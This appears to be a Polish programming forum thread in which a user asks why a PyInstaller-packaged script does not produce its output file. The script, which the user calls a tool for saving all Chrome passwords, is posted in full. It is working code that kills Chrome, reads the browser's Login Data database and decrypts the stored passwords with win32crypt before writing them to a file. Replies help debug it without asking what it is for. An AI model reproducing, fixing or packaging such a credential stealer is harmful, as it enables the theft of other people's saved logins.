Problem z pytinstaller

0

Mam mały skrypt w python w którym tworzy i edytuje plik file.txt następnie chcę całość przerobić na exe za pomocą komendy:

pyinstaller -F  "skrypt.py"

po uruchomieniu pliku exe nie mam nigdzie tego pliku file.txt który powinien zostać utworzony.
Szukałem w google rozwiązania lecz nawet do końca nie wiem co wpisać co szukać, jeśli tylko by ktoś mógł mi pomóc czy nakierować nawet to byłoby super ;)

0

Jest to skrypt który zapisuje wszystkie hasła z chrome. Próbowałem dodać różne ścieżki gdzie plik ma być tworzony.
KOD

1

A sprawdź, czy taki program zadziała po przerobieniu na exe:

with open(r'file.txt', 'a') as file_descriptor:
        file_descriptor.write("Test\n")
0
Pyxis napisał(a):

A sprawdź, czy taki program zadziała po przerobieniu na exe:

with open(r'file.txt', 'a') as file_descriptor:
        file_descriptor.write("Test\n")

no to akurat zadziałało ;)

Ale dodałem to do swojego kodu i dalej nic:

# -*- coding: utf-8 -*-
import os
from os import getenv
import sqlite3
import win32crypt

#Lets Connect to the Database
conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
os.system("taskkill /f /im chrome.exe >nul")

#Lets get the results
cursor.execute('Select action_url, username_value, password_value FROM logins')
with open(r'file.txt', 'a') as file_descriptor:
    file_descriptor.write('**************************************************')
    file_descriptor.write('\nGoogle Chrome Saved Passwords')
    file_descriptor.write('\n**************************************************')
    for result in cursor.fetchall():
        password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        if password:
            file_descriptor.write('\nAdres: '+result[0])
            file_descriptor.write('\nLogin: '+result[1])
            file_descriptor.write('\nHasło: '+password.decode('utf-8'))
            file_descriptor.write('\n**************************************************')
1

Nie korzystam z Windowsa, więc nie mam jak sprawdzić Twojego kodu. Pierwsze co mi się rzuca w oczy, to że nie zamykasz pliku po wpisaniu do niego haseł. Może spróbuj dodać:

fp.close()

na końcu pliku.

0
Pyxis napisał(a):

Nie korzystam z Windowsa, więc nie mam jak sprawdzić Twojego kodu. Pierwsze co mi się rzuca w oczy, to że nie zamykasz pliku po wpisaniu do niego haseł. Może spróbuj dodać:

fp.close()

na końcu pliku.

dodałem ale nic

0

Pod Linuxem exe poprawnie odczytuje dane z bazy. Jedyne co mogę doradzić, to debuguj kod na piechotę, sprawdzając czy tworzy Ci poszczególne obiekty.

1

Zrób jakieś strace i ltrace na tej binarce i zobacz gdzie one faktycznie się wywala i czemu. Ja bym obstawiał że np. na tej libce do deszyfrowania moze się sypnąć.

1 użytkowników online, w tym zalogowanych: 0, gości: 1